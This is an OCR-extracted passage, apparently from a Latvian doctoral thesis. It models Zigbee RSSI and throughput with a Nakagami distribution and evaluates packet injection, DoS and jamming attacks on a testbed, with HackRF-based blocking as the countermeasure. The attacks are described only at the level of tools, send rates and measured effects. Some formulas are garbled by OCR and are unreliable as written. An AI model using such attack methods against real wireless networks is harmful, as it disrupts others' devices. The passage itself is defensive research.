e Piem@rots vidém ar haotisku daudzcelu izplatibu (pieméram, pilsétas teritorijas ar
augstam ekam).

e Nav optimals Zigbee tiklam, jo Zigbee ierices biezi darbojas dalgjas redzamibas (LOS
+ NLOS) apstaklos [19, 119-120].

Raisa sadalijums

e Pienem, ka signalam ir viena domingjosa tie$a komponenta (LOS, Line-of-Sight) ar klat
pievienotiem difuziem atstarojumiem.

e Labi piemérots vidém, kur ir stabila tie$a signala cela klatblitne (piemé&ram, atklatas
industrialas telpas).

e Nav ideali piemérots Zigbee tiklam, jo bieZi ir mainiga vide ar dal&ju LOS un dazadiem

skersliem [19, 119-120].

Bezvadu signala parraidi bitiski ietekmé& dazadi izkliedes un atstaroSanas efekti, kas rodas,
signalam mijiedarbojoties ar apkartgjo vidi. Tadi efekti rada izmainas sanemta signala stipruma
(RSSI). Tradicionalie modeli, pieméram, Reilijas sadalijums, pienem vienmérigu izkliedi, kas

nav piemérota vidém ar sarezgitakiem apstakliem, pieméram:

e ickstelpu videi, kur notiek atstaro$anas no sienam, mébelém un citiem $kér§liem, kas
biitiski maina signala stiprumu,

attaluma dg] [19, 119].

Nakagami sadalijums, kas tika ieviests ka paplaSinats Reilijas modelis, lauj aprakstit
plasaku vides apstaklu spektru, tostarp situacijas ar augstu daudzcelu efektu, un tiek definéts

ar diviem parametriem, kas lauj precizi modelet dazadus scenarijus.

o m—kontrol@ izkliedes pakapi un signala stabilitati:
o m>1 - vides ar mazak izteiktiem daudzcelu efektiem, pieméram, situacijas,

kad ir tiesas redzamibas linijas (anglu val. Line-of-Sight);
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o m =1 — atbilst Reilijas sadalfjumam, kas raksturigs vidém ar domingjoSu
difuzijas efektu un parasti novérojams vide€s bez tiesas redzamibas linijas (anglu
val. Non-Line-of-Sight)

o m<1-vides ar intensivu izkliedi un daudzvirzienu signalu parklasanos [119—
121].

e o — vidgjais energijas limenis:
o Liela w vértiba — liecina par augstu vidgjo signala jaudu, kas parasti novérojama
o Mmaza o vertiba — raksturo vidgjo signala jaudu samazinajumu lielaka attaluma

vai §kérslu ietekmes dél [119-121].

Mainot definétos parametrus, simulacijas laika var rasties dazadi iemesli, kas ictekmé

rezultatus.

e Ja m palielinas un o ir konstants, simulacija modelé stabilaku signalu ar mazakam
izkliedém, kas ir piemé&rots tiklam ar minimaliem $kérsliem vai labu LOS.
pieaugumam vai Sk&rslu ietekmei.

e Jamun o samazinas vienlaikus, tas izraisa gan intensivu signala vajinasanos, gan lielu

izkliedi, kas ir raksturiga sarezgitam vidém ar blivu apbivi vai augstu interferenci.

Lai modeleétu bezvadu tiklu signala izplatiSanos un noverttu ta ietekmi uz tikla veiktspgju,
promocijas darba tiek izmantots Nakagami sadalijums. Lai modelétu RSSI vértibas tiek

izmantota funkcija
m
F ~ Gamma (m, ;), (3.6.)

kur m — formas (anglu val. shape) parametrs; o — vidgjais energijas limenis.

3.6. izteiksme tiek izmantota, lai generétu datus no Nakagami sadalijuma, pielagotu RSSI
vertibas un simulétu signala izmainas realas bezvadu tikla vidés. Nejausi generétie dati tiek
aprakstiti ar varbiitibu blivuma funkciju (PDF), 3.7. izteiksme norada, ka vertibas tiek sadalitas
[119-121].
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2mm
FO) = som (3.7)
kur m — formas (anglu val. shape) parametrs; o = E[R?] — vidgja signala jauda; I'(m) — gamma

funkcija.

Izmantojot 3.6. un 3.7. izteiksmi, tika veikti signdla modeléSanas aprékini, izmantojot
parametrus m = 0,8 un o = 0,3. Sis vértibas tika noteiktas, analiz&jot eksperimentili iegiitos
RSSI datus un pielagojot Nakagami sadalijumu, izmantojot momentu metodi. Eksperimentalo
datu analize rada, ka RSSI vertibas Zigbee tikla ievérojami mainas atkariba no vides $kér§liem
un daudzcelu atstaroSanas efektiem.

E[RZ]Z
Var(R2) '

(3.8.)

kur E[R?] - vidgja signala jauda; Var(R?) — jaudas dispersija.

Eksperimentalie RSSI dati tika analizéti un pielagoti Nakagami sadalifjumam, galvenokart
nemot vera zemas RSSI vertibas, kas raksturigas intensivam izbaleSanas efektam un daudzcelu
izplatibai. legiita parametra vértiba m = 0,8 liecina par sp&cigu signala svarstibu klatbatni vidé
bez stabilas tiesas redzamibas Iinijas (LOS, Line-of-Sight). Sis vértibas tika aprékinatas,
balstoties mérjjumos limena —85 dBm, kas atbilst apstakliem ar spécigiem daudzcelu
izplatiba caur atstarojumiem un difrakciju, kas atbilst zemai signala/troksna attiecibai un izraisa
augstu signala zuduma intensitati daudzcelu izplatiSanas rezultata [119-121].

Vidgja signala jauda o tika aprekinata, pamatojoties uz eksperimentali iegiitajiem RSSI
mérfjumiem, kuros domingja zemas signala stipruma vértibas. ST pieeja ir bitiska, jo Zighee
tiklos, 1pasi NLOS (Non-Line-of-Sight) scenarijos, signala izplatiba ir paklauta daudzcelu

efektiem un butiskam izbaléSanam.

RSSI=Pof

w=10 1w, (3.9.

kur RSSI — uztverta signala Ilimenis [dBm]; Pref— references Iimenis (—100 dBm).

Lai aprekinatu vidgjo signala jaudu o, tika izmantotas eksperimentali iegtitas RSSI vertibas
diapazona no —85 dBm lidz —95 dBm, kas raksturigas Zigbee tiklam vidé ar spécigiem
Skersliem un daudzcelu izplatibu. Pamatojoties uz So diapazonu, tika veikti aprékini, ka
rezultata iegiita o = 0,3 vertiba precizi atspogulo zemu signala stiprumu un butisku izbaléSanas

efektu.
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Noteiktie Nakagami parametri m = 0,8 un o = 0,3 atbilst scenarijiem, kuros Zigbee tikla
dominé spécigs izbalesanas efekts un signala limenis ir loti zems. Sadu situaciju var interpretét
ka stavokli, kura tikla darbiba ir stipri traucéta vai tikls ir gandriz nefunkciongjoss.

Sads signala Iimenis (-85 dBm) ir raksturigs videm, kuras:
e nav stabilas tie$as redzamibas Iiijas (LOS), signals tiek uztverts gandriz tikai caur
atstaroSanos;
o eksisté liela signala jaudas dispersija, kas izraisa intensivas RSSI svarstibas;
e signala pastaviga vajinaSanas izraisa ieverojamu pake$u zudumu un retranslacijas
palielinasanos, kas var ievérojami samazinat tikla veiktspgju.
Tas ir 1pasi noderigi, lai novertétu Zigbee tikla signala stiprumu un tikla caurlaidsp&ju p&c
Nakagami sadalfjumam. 3.10. izteiksme nosaka modificéto RSSI signala stiprumu p&c realo
nomérito RSSI, izmantojot Killerbee programmatiiru, un arf izrékinat modificéto caurlaidsp&ju

péc iegiitam modificétam RSSI vértibam, izmantojot 3.2.— 3.5. izteiksmi [74, 115, 119].

RSSImod = RSSlorig + 10 x log10(F), (3.10)
kur RSSlorig— nomérita RSSI veértiba; F — gamma starojums.

Izmantojot logaritmisko korekciju no 3.10. izteiksmes, tai pievieno nejauSas signala
jaudas svarstibas, ko rada daudzcelu izplatiSanas efekti (pieméram, atstarojumi, difrakcijas un
izkliedesana). leglitaja RSSI vertiba tick nemtas véra nejausas svarstibas, tadgjadi ta ir tuvaka

realajiem apstakliem sarezgita vide (pieméram, €ka vai pilsétvide).

RSSI analize ar Nakagami sadalijumu

RSSI (dBm)

60 4

— originalais RSSI |
- Modificétais RSSI (Nakagami)

_go | == Vidéjais RSSI: -32.27 dBm

-~ Vidé&jais modificétais RSSI: -40.17 dBm ‘

0 5 10 15 20 25 30
Laiks (sekundes)

3.3. att. Signala stipruma identifikators Nakagami sadalfjuma ietekmé.
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Lai novertétu Nakagami sadalfjuma piemérotibu Zigbee tikla signala modelésanai, tika
veikti eksperimentali mérfjumi, kuru mérkis bija analiz&t signala stipruma parametrus dazados
vides apstaklos, 1pasi koncentrjoties uz izbaléSanas efektu un daudzcelu izplatibu.
Eksperimenta tika izmantota CC2531 ierice ar argjo SMA antenu, kas darbojas 2,4 GHz
frekvencu diapazona. Lai izvertetu antenas ietekmi uz signala kvalitati, tika test€tas vairakas
antenas ar dazadu novietojumu un orientaciju. Mérijumi tika veikti Zigbee 15. kanala, kas tika
izvelets, lai samazinatu iespg&jamos trauc&umus no citiem 2,4 GHz avotiem, piemé&ram, Wi-Fi
un Bluetooth iericem.

Merijumi tika veikti artelpas, kur signala parraide norisingjas starp $kérsliem, ieskaitot
sienas un meébeles, kas radija daudzcelu izplatibas efektus un signala vajinasanos. Attalums
starp raiditaju un uztvéréju varigja no 1 metra lidz 4 metriem. Saja eksperimenta tika analizéts
NLOS (anglu val. Non-Line-of-Sight) gadijums, kur signala izplatiba notiek tikai caur
atstaro$anos un difrakciju, izraisot paaugstinatu fading efektu. Fiziski $kérsli, piem&ram, sienas
un mébeles, biitiski ietekmeja RSSI dispersiju, radot lielas signala Iimena svarstibas.

Atstarojumu izp8te no gridas, sienam un griestiem netika veikta detaliz&ti, tomé&r
eksperimentala vide pati par sevi nodrosingja intensivu daudzcelu efektu, kas atspogulojas
RSSI vertibas. Citi aktivie 2,4 GHz signala avoti netika konstateti, tapec traucgjumi, ko radija
Wi-Fi vai Bluetooth ierices, nebija batisks faktors. Tika veikti testi ar dazadiem Zigbee
kanaliem, lai novertetu to ietekmi uz signala stabilitati un iesp&jamo frekvencu joslas troksna
Itmeni.

MerTjumi tika veikti, izmantojot KillerBee programmatiiru, kas lauj uztvert un analiz&t
Zigbee protokola paketes. Datu ieguvei tika izmantoti dazadi laika intervali — 30's, 60 S un
120 s, lai novertétu RSSI dinamiku un stabilitati dazados laika periodos. Datu filtréSana netika
veikta, tap&c analizei tika izmantoti neapstradati RSSI m&rfjumu dati, kas precizak atspogulo
signala dabiskas svarstibas eksperimentalaja vide. Nakagami parametru m un o aprékini tika
veikti, izmantojot momentu metodi, kas balstas RSSI jaudas vidgjam vertibas un dispersija.

Izmantojot Python palai$anas programmas un CC2531 pake$u uzraugu moduli, kas méra
signala stiprumu izveidotaja Zigbee tikla (viens marSrutétajs + tris aktivas viedierices), tika
secinats, ka pilniba darbspgjiga tikla originalais RSSI ir —32,27 dBm, kas ir izcils rezultats, lai
ierices var€tu darboties stabili un efektivi. ArT modificétais RSSI, kas aprékinats Nakagami
sadalfjumu ietekmg, pievienojot papildu vajinajumus faktorus, taja pasa tikla uzradija —40,17
dBm, kas ari liecina par labu savienojuma kvalitati. Sis rezultits nozimé, ka, veicot merjjumus
ar papildu izkliedes modelésanu, kas atbilst realakajiem dzives apstakliem, Zigbee tikls

joprojam saglaba stabilu un efektivu darbibu.
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Zigbee tikla caurlaidspéjas analize ar Nakagami sadalijumu

250 —— Reéla caurlaidspéja
Modificéta caurlaidspéja (Nakagami)
——- Vid&ja reala caurlaidspéja: 119.60 Kbit/s
-=- Vid&ja modificéta caurlaidspéja: 111.00 kbit/s
——- Teorétiska maksimala caurlaidsp€ja (250 kbit/s)

200 4

Caurlaidspgja (kbit/s)
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Laiks (sekundes)

3.4. att. Tikla caurlaidsp&jas Nakagami sadalijuma ietekmé.

Izmantojot izteiksmes Python palaisanas programma un CC2531 pake$u uzraugu moduli,
art ir iesp&jams nomérit realu Zigbee tikla caurlaidsp&ju, modificétu péc Nakagami sadalijuma.
Reala caurlaidspéja ir stabila un sasniedz vid€jo vertibu aptuveni 120 kbit/s, kas liecina par
tikla augstu efektivitati un sp&ju uzturét stabilu datu parraidi. S vértiba ir tuvu Zigbee standarta
teorétiskajai robezai. Modificéta caurlaidsp&ja, kas aprékinata, izmantojot Nakagami
sadalijuma radito RSSI korekciju, uzrada lielaku mainigumu ar vid€jo vertibu ap 111 kbit/s.

pieméram, ar $k&rliem vai intensivu interferenci.

Tikla caurlaidspéjas un signala stipruma identifikatora novertéjums
uzbrukuma un pretpasakuma vide

IEEE 802.15.4 tiklu darbibas efektivitate ir ciesi saistita ar signala stiprumu (RSSI) un tikla
caurlaidspgju. Sie raditaji lauj novertét ne tikai tikla darbsp&ju miera un darbibas apstaklos, bet
ari ta noturibu pret iesp&jamiem uzbrukumiem un sp&ju pielagoties pretpasakumu ievieSanas
procesam.

Saja nodala analizéta Zigbee tikla veiktspgja, izmantojot Python palaianas programmas
un Killerbee rikus. Papildus tiek apskatita modificéta signala stipruma vértiba, ko iegist,
piemerojot Nakagami sadalijumu, kas precizak atspogulo realos signala izplatiSanas apstaklus.
Tiek veikta gan realas, gan modificétas caurlaidspg€jas un signala stipruma analizes, nemot véra

uzbrukuma un pretpasakumu ievieSanas scenarijus [125].
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PakeSu injekcijas uzbrukuma un pretpasakuma metodes novértéjums

Atsaucoties uz kiberuzbrukuma testgultnes aprakstu (2. nod.), autors ieviesa pakesSu
injekcijas, kas tikla tiek identificétas ka parastas paketes, tacu ar specifisku galveni un maksligi
ienesto RSSI vajinajumu. Ka iepriek§ minéts, RSSI modifikacijam tika izmantots Nakagami
sadalfjums, lai simulétu realu signala izkliedi un vajinajumu. Tas lauj veikt analizi, kas

atspogulo ne tikai tikla veiktsp&ju idealos apstaklos, bet ari ta reagétsp&ju uz potencialiem

— originalais RsS|
Modificétais RSS! (Nakagami)
| @ Injekeija (RSS1-90)
Vidéjais modificétais RSSI: -68.54 dBm

—40

RSSI (dBm)

-100

-120

B
Laiks (sekundes)

3.5. att. Signala stipruma identifikatora analize pakeSu injekcijas uzbrukuma laika ar

stitiSanas biezumu 0,25 sekundes.

RSSI analize ar injekciju

— originalais RSS!
| | ‘ Modificétais RSS! (Nakagami)
® Injekcija (RSSI-90)
-~ Vidéjais riginalais RSSI: -55.37 48m
Vidéjais modificétais RSSI; -64.70 d8m

RSS! (dBm)

-120

15
Laiks (sekundes)

3.6. att. Signala stipruma identifikatora analize pakeSu injekcijas uzbrukuma laika ar

sutiSanas biezumu 0,5 sekundes.
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Tika veikta pakeSu injekcija no injektora ar -90 dBm RSSI ienesto vajinajumu sttiSanas
biezumu 0,25 sekundes un 0,5 sekundes. Redzams, ka injektors pilna apméra neparalizg tikla
darbibu, bet liela méra ietekmé ta darbibu. lenestais signala vajinajums ir 90 dBm, kas ietekmé&
signala stiprumu, bet, stradajot kopa ar citam ieric€m, kas saglaba normalu darbibas stavokli,
vid&jais RSSI gan originala, gan modificéta varianta nav liels, tapéc var secinat, ka signals

pasliktinas [122-124].

Caurlaidspéjas analize
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3.7. att. Tikla caurlaidspgjas analize pakesSu injekcijas uzbrukuma laika ar stitiSanas biezumu

0,25 sekundes.

Caurlaidspéjas analize
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3.8. att. Tikla caurlaidspgjas analize pakesSu injekcijas uzbrukuma laika ar sttiSanas biezumu

0,5 sekundes.
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Ari, izmantojot empirisko caurlaidsp&jas modela rékinasanu Zigbee tiklos, tiek secinats,
ka pakeSu injektors ietekmé Zighee tikla caurlaidsp&ju. Atkariba no injicéto pakeS$u bieZuma
caurlaidspgja var samazinaties 1idz pat divam reiz€m, kas negativi ietekmé datu parsitiSanu no
ierices uz Zigbee marsrut€taju un apstiprinajuma pakesu sanemsanu. Izmantojot modificetas
RSSI vertibas, arT var teikt, ka caurlaidsp&ja injektora darbibas laika tiek gala ar informacijas
parsitisanu, tacu ne tik labi, ka tas ir normala stavokli. Veicot tikla caurlaidsp&jas un RSSI
analizi, izmantojot ilgu pakesu uzraudzibas metodi ar mérfjjumu ilgumu no 60 sekundém lidz
120 sekundém un injekcijas biezumu 0,25 sekundes un 0,5 sekundes, tika secinats, ka ilgsto$aki
mérijumi atklaj bitiskas svarstibas tikla realaja un modificétaja caurlaidspgja, ka ari RSSI
vertibas, uzsverot to, ka biezakas injekcijas (0,25 sekundes) vairak ietekme tikla stabilitati neka
retakas (0,5 sekundes) [126].

Tagad, kad ir zinams, ka kanals ir paklauts $ada veida uzbrukumiem, var ieviest papildu
pretpasakumu modeli injekcijai, ko veic atseviska darbstacija ar otro pieslegtu CC2531 moduli,
kas Tpasi “noker” injekcijas paketes un nekavgjoties nosiita aicinajumu HackRF One iericei, lai

blok&tu tadas paketes.

RSSI analize ar injekciju un pretpasakumu ierici

LY L

—— Realais RSSI
Modificétais RSS! (Nakagami)
Injekcija (RSSI -90)
1 Pretpasakuma ierice
--- Vidgjais originalais RSSI: -58.87 dBm
Vid&jais modificétais RSSI: -67.37 dBm
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3.9. att. Signala stipruma identifikatora analize pake$u injekcijas uzbrukuma laika ar

pretpasakumu ierici ar suitiSanas biezumu 0,25 sekundes.

81



RSS! analize ar injekciju un pretpasakumu ierici

IIFIRY

RSS! (Nakagami)

RSS! (dBm)

-100

15
Laiks (sekundes)

3.10. att. Signala stipruma identifikatora analize pakesu injekcijas uzbrukuma laika ar

pretpasakumu ierici ar stitiSanas biezumu 0,5 sekundes.

Izmantojot HackRF One ierici un CC2531 pakeSu monitoréSanas moduli, tika demonstréta
efektiva Zigbee tikla aizsardziba pret paketes injekcijam. CC2531 darbstacija precizi
identificgja injekciju paketes, pamatojoties uz specifiskiem pakeSu galveneém no RZUSBStick,
savukart HackRF One genergja troksni tikai uz konkrétam injekcijas pakesu frekvencéu nisam,
blok&jot to talaku izplati§anos. ST metode lava efektivi neitralizét uzbrukumu, neradot bitiskus
traucgjumus legalam Zigbee tikla datu parraidém. Eksperimentalie rezultati paradija, ka ar o

pieeju iesp€jams ieverojami samazinat uzbrukumu ietekmi, saglabajot stabilu tikla
caurlaidsp&ju.

Caurlaidspéjas analize

1 kbitls
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3.11. att. Tikla caurlaidsp&jas analize pakeSu injekcijas uzbrukuma laika ar pretpasakumu

ierici ar sutiSanas biezumu 0,25 sekundes.
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3.12. att. Tikla caurlaidsp&jas analize pake$u injekcijas uzbrukuma laika ar pretpasakumu

ierici ar stiSanas biezumu 0,5 sekundes.

Grafiki parada, ka ar selektivu blokeSanas mehanismu, kas identific specifisku injekciju
pakeSu galvenes, uzbrukumu ietekme tiek biitiski samazinata, un tas nodro$ina stabilaku
caurlaidsp@ju tikla. Salidzinot abas situacijas, tikla blok&Sana tika veikta tikai attieciba uz
launpratigam injekcijas paketém, tad&jadi saglabajot normalu Zighee datu plismu un
nodrosinot augstaku vidgjo caurlaidsp&ju. Sie rezultati liecina, ka pretpasakumu ierice efektivi
bloké uzbrukumus, vienlaikus netraucgjot legalo datu apmainu, kas uzlabo Zigbee tikla
uzticamibu vides ar iesp&jamu launpratigu aktivitati.

Veicot pretpasakuma mérjjumus 60 sekundes un 120 sekundes ar 0,5 sttiSanas biezumu,
péc iegitajiem grafikiem (2. pielikuma) var secinat, ka promocijas darba izstradatas injekcijas
pakesu blokeSanas varbiitiba ir aptuveni 99 %, tas nozime, ka pretpasakuma ierice strada izcili
un visas injekcijas paketes tikla var atpazit. Turklat var secinat, ka ilgakos mérijumos

caurlaidspgja palielinas straujak, ipasi tuvojoties realajam tikla noslodzes vertibam.

DoS uzbrukuma un pretpasakuma metodes noveértejums

Atsaucoties uz kiberuzbrukuma testgultnes aprakstu (2. nod.), autors simul&a DoS
uzbrukumu, genergjot papildu uzbrukuma paketes, kuru mérkis bija radit tikla parslodzi,
izmantojot augstu pakeSu nostitiSanas biezumu, kas parsniedz /EEE 802.15.4 tikla normalas

darbibas kapacitati.
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RSSI analize un DoS uzbrukumi
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3.13. att. Signala stipruma identifikatora analize DoS uzbrukuma laika.

DoS uzbrukums ar augstu pakeSu nosiitiSanas biezumu (0,1 sekunde) rada Zigbee tikla
parslodzi, kas ievérojami pazemina tikla caurlaidsp&ju un ietekmé signala stabilitati, ka art
palielina tikla neaizsargatibu pret potencialiem trauc€jumiem un troksni. Ka redzams
3.13. attela grafika, 30 sekunzu laika tika nosutitas aptuveni 290 DoS uzbrukuma paketes, kas
ievérojami samazindja tikla caurlaidsp&ju, tacu RSSI vértibas saglabajas normala stavokli,
liecinot, ka uzbrukums galvenokart ietekméja tikla darbibas efektivitati, nevis signala
stiprumu, laujot pargjiem iericem tikla savstarpgji komunic&t ar 3—4 sekundes aizturi neka

parasta darbibas stavokli, kur paketes siitiSanas no iericém aiznem 0,5 sekundes [126].

Caurlaidspéjas analize
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3.14. att. Tikla caurlaidspgjas analize DoS uzbrukuma laika.
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DoS uzbrukumu rezultata tiek samazinata tikla caurlaidsp@ja, un tiek traucéti tas objektivi
mérijumi, tomér, veicot 120 sekunzu ilgus mérijjumus DoS uzbrukuma laika, var secinat, ka
tikls spgj dalgji pielagoties uzbrukumam, stabiliz€jot darbibu ilgstoSos apstaklos (2.
pielikuma).

Veicot pretpasakumus DoS uzbrukuma pakeSu uzrauga palaiSanas programma, kas seko
Iidzi DoS paketei, autors iestatija 0,2 sekundes bez DoS paketes uzrauga, jo pretpasakumu
ierice taja bridi darbojas nepartraukti, lai blok€tu nakamas paketes.

RSSI analize un DoS uzbrukumi

—— Originalais RSSI
—— Modificétais RSSI
X DoS uzbrukums
[0 Pretpasakuma ierice
——= Vidéjais originalais RSSI: -49.37 dBm
~+ Vidéjais modificétais RSSI: -57.17 dBm
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3.15. att. Signala stipruma identifikatora analize DoS uzbrukuma un pretpasakuma laika.

Pretpasakuma ierices izmantoSana bitiski uzlabo Zigbhee tikla noturibu pret DoS
uzbrukumiem, ka to apliecina salidzino§a analize situacijam ar un bez §is ierices. Pretpasakuma
ierice efektivi stabilize originala RSS/ radijumus un samazina DoS uzbrukumu ietekmi uz tikla
caurlaidsp@ju, saglabajot augstaku vid&jo caurlaidsp&ju un nodrosinot mazakas RSS/ novirzes.
ST uzlabota stabilitate un efektivitate Tpasi izpauzas ilgstoSos mérijumos, kur tikla adaptacijas
speja ir izSkiroSa. Rezultati apstiprina pretpasakuma ierices lielo nozimi tikla droSibas un

stabilitates nodro$inasana uzbrukumu apstaklos.
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Caurlaidspéjas analize
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3.16. att. Tikla caurlaidsp€jas analize DoS uzbrukuma un pretpasakuma laika.

3.16. att€la redzama Zigbee tikla caurlaidsp&jas analize, kura konstatéts, ka 30 sekunzu
merfjumos vidgja reala caurlaidsp&ja sasniedz 100,85 kbit/s, savukart modificeta caurlaidsp&ja
samazinas lidz 81,88 kbit/s. Sie rezultati parada tikla reagétsp&ju uz DoS uzbrukumiem un
uzsver nepiecieSamibu pielagoties §adiem traucgjumiem. Ilgaku mérjjumu (60 sekundes un
120 sekundes), kuru rezultati ir pieejami pielikuma, analize demonstre tikla adaptacijas spgjas,
kas laika gaita palidz samazinat DoS uzbrukumu ietekmi un stabilizét caurlaidsp&ju. Sie dati
apliecina, ka ilgtermina mérijjumi ir butiski pilnvertigas tikla noturibas noveérteéSanai. Tiek
secinats, ka pretpasakuma ierice veica savu darbibu pret DoS uzbrukumu ar 85 % efektivitati,
kas nodrosinaja tikla caurlaidsp&jas saglabasanu salidzino$i augsta Iimeni, neraugoties uz

atkartotiem uzbrukumiem.

Sakaru signala traucéSanas uzbrukums un pretpasakuma metodes novértéjums

Atsaucoties uz kiberuzbrukuma testgultnes aprakstu (2. nod.), autors ieviesa signala
trauc€Sanas uzbrukumu, radot tikla apzinatus signala traucg€jumus, kas bloke IEEE 802.15.4
savstarpgjo komunikaciju. Traucgumi tika simuléti, analiz€jot tikla reakciju uz ilgstoSiem
periodiem bez uztvertiem datiem, ka arT signala stipruma limena (RSS/) pek$nam izmainam,
kas liecina par iesp&jamu uzbrukuma klatbiitni. Signala sakaru traucé$anas Python palaiSanas
programma siita paketes ar augstu biezumu (0,02 sekundes), salidzinot ar DoS uzbrukumu, lai

raditu kanala iestrégSanu Zigbee tikla [126].
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RSSI analize un troksnis
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3.17. att. Signala stipruma identifikatora analize signala traucéSanas laika.

3.17. grafika attlota sakaru kanala traucé$anas metode, kas ietekme Zigbee tikla RSS!
vertibas. Realais RSST (63,40 dBm) saglabajas salidzinosi stabils, savukart modificétais RSS
(-=71,57 dBm), kam tiek piemérota Nakagami sadalfjuma metode, parada butiskas svarstibas.
Sis svarstibas skaidri liecina par traucgjumiem, ko rada sakaru kanala traucsanas process.
Troksnis, kas rada traucgjumus, att€lots ka svarstibu pieaugums modificétaja RSS! likng, kas
nozimé ievérojamu kanala parslodzi un stabilitates samazinajumu. Sada metode pierada savu
efektivitati, apzinati ietekmejot Zigbee tikla darbibu, savukart tikla pasregulacijas sp&jas lauj

dalgji kompensét negativo ietekmi.

Caurlaidspéjas analize
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3.18. att. Tikla caurlaidsp&jas analize signala traucésanas laika.
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3.18. grafika att€lota Zigbee tikla caurlaidsp€jas analize troksna apstaklos. Zila Itkne
parada realo caurlaidspéju, kas saglabajas stabilaka (vidgji 85,79 kbit/s), salidzinot ar teorétisko
(modificéto) caurlaidsp&ju (oranza likne, vidgji 52,13 kbit/s). Svarstibas teortiskaja Iikne
atspogulo tikla neaizsargatibu pret troksni, savukart reala caurlaidsp&ja demonstré tikla
adaptivo spgju pielagoties traucgjumiem, samazinot ietekmi uz datu parraides kvalitati. ST

analize izcel adaptivo strat€giju efektivitati troksna apstak]os.

RSSI analize un troksnis
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3.19. att. Signala stipruma identifikatora analize sakaru signala trauc&Sanas un pretpasakuma

laika.

3.19. grafiks atspogulo troksna ietekmi uz Zigbee tikla RSSI limeniem. Troks$na laika, kas
grafiski att€lots ar violetam joslam, novérojams RSSI pieaugums, kas liecina par tikla
adaptivajam sp&jam. Sis pieaugums skaidrojams ar vajo signalu filtrésanu un kaitigo pakesu
blok&sanu, kas samazina traucgjumus un kolizijas, tadgjadi uzlabojot datu parraides
efektivitati. Turklat tiek noverots, ka tikla ierices, reaggjot uz troksni, var palielinat parraides
jaudu, stabilizgjot savienojumu. Lietotais Nakagami modelis palidz precizak raksturot
daudzcelonu izplatiSanos un tikla dinamiku, izcelot svarigas uzvedibas tendences. Secinams,
ka troksnis ne tikai efektivi bloke launpratigas paketes, bet arT uzlabo tikla darbibas stabilitati

un samazina traucgjumu Itmeni, kas ir biitiski ilgtsp&jigu loT tiklu izveide [119-121].
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3.20. att. Tikla caurlaidspgjas analize signala trauc€$anas un pretpasakuma laika.

3.20. grafiks parada Zigbee tikla caurlaidspgjas dinamiku troksna ietekme. Zila likne attglo
realo caurlaidsp&ju, savukart oranza likne reprezent modificeto caurlaidspgju, kas aprekinata,
nemot véra Nakagami modeli. Vid&ja reala caurlaidsp&ja (74,51 kbit/s) ir augstaka neka vidgja
modificéta caurlaidsp&ja (50,08 kbit/s), kas liecina par to, ka teorétiskas simulacijas rezultati
parada lielaku jutibu pret tikla traucgjumiem. Troksnis ieverojami ietekm& caurlaidsp&jas
svarstibas, kas Tpasi redzams pie straujam izmainam oranzaja likng. Sads rezultats skaidrojams
ar tikla adaptivajam spg&am, kuru ietekmé realas parraides caurlaidspgja stabilizgjas,
neskatoties uz traucgjumiem. Tas liecina, ka troksnis efektivi bloke kaitigas paketes, vienlaikus

laujot tiklam atjaunot funkcionéSanu péc traucgjumu samazinasanas.

Kopsavilkums un secinajumi

Promocijas darba izstrades gaita veikts eksperimentalais Zigbee tikla caurlaidspgjas
novértsjums, balstoties Senona teoréma, izmantojot papildu parametrus — pieskaitamas
izmaksas, paketes veiksmigas parraides varbiitibas koeficientu un kanala izmantoSanas
koeficientu. Aprekini paradija, ka maksimala kanala caurlaidsp&ja sasniedz 120 kbit/s, kas ir
pietickami laba vertiba §ada veida datu plismai, jo teordtiski maksimala Zigbee tikla
caurlaidspgja ir 250 kbit/s [117, 122].

Lai analiz&tu signala stiprumu (RSSI), tika izmantots Nakagami sadalijums, kas nem véra
papildu signala vajinajumus datu parraides laika. Tika izmantotas konstantes m = 0,8 un ® =

0,3, kas lauj salidzinat realos RSSI meérijjums, kas tiek veikti ar pakeSu uzrauga moduli ar
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modificetajam RSSI vertibam, kas aprekinatas pec Nakagami teorémas. Saskana ar promocijas
darba treSo tézi tika noverots, ka modificétas RSS! vertibas ir par 10-20 % zemakas neka realas
RSSI vertibas. Tas liecina par Zighee 15. kanala 1pasibam un parada Nakagami vajinasanas
modela pieme&rotibu $adiem mé&rfjumiem [122—-124].

Eksperimenta tika apskatiti dazadi uzbrukumu veidi — pakesu injekcija, DoS uzbrukumi
un sakaru trauc€Sanas paketes, kas rada kanala parslodzi. Lai noverstu uzbrukumus, tika
izmantota uzbrukuma pakesu identifikacijas metode p&c galvenes, kuru noteica otrais pakesu
uzrauga modulis, kas tiek pieslégts pie darbstacijas. P&c uzbrukuma pakeSu atklaSanas,
izmantojot HackRF One ierici, tika generéts platjoslas troksnis attieciga kanala frekvencg, kas
lava efektivi bloket uzbrukumus. Ka redzams 3.5. — 3.20. grafikos, uzbrukumu novérsana dalgji
atjauno tikla caurlaidsp&ju un RSSI, tacu netiek sasniegti ideali apstakli.

Vidgja reala RSSI veértiba uzbrukumu un to novérSanas laika bija —65,9 dBm, kas ir
pienemama Zigbee tiklam, tacu liecina par biitiskiem signala zudumiem pakesu injekciju un
signala trauc€Sanas uzbrukumu laika. To var izskaidrot ar 1slaicigu degradaciju augstfrekvencu
trok$na un ieksgjo tikla traucgjumu de]. Vid&ja reala caurlaidsp&ja visu uzbrukumu laika bija
aptuveni 80 kbit/s, kas ir par 33 % zemaka neka aprékinata vertiba un tris reizes zemaka neka
teorgtiska caurlaidspgja (250 kbit/s). Modificeta caurlaidsp&ja pec Nakagami bija aptuveni 61,5
kbit/s, kas ir divas reizes zemaka neka aprékinata vertiba un Cetras reizes zemaka neka
teorétiska vertiba. Pie $adas caurlaidsp&jas datu parraide notiks ievérojami 1énak neka idealos
apstaklos.

Merjjumu rezultatus ietekméja ar1 citi faktori, piem&ram: 1) Sauras Zighee izmantotas
frekvencu joslas, kas palielina jutibu pret traucgjumiem; 2) augstas tikla parvaldibas
pieskaitamas izmaksas (I1dz 40 % jeb 0,4), kas samazina pieejamo kanala ietilpibu; 3) pakesu
parraides kludas tikla parslodzes vai nepietickamas sinhronizacijas del.

Eksperimenti paradija, ka uzbrukumi bitiski ietekme tikla darbibu, samazinot gan RSSI,
gan tikla caurlaidsp&ju. Uzbrukumu nover§anas metodes, tostarp uzbrukuma pakesu galvenes
blok&sana, lauj dal&ji mazinat So ietekmi, tacu, lai uzlabotu tikla noturibu, ir nepiecieSama
talaka algoritmu optimizacija un tikla pieskaitamo izmaksu samazina$ana.

P&tfjuma autors izmantoja statistisko analizi, tostarp vidéjas veértibas un standartnovirzi,
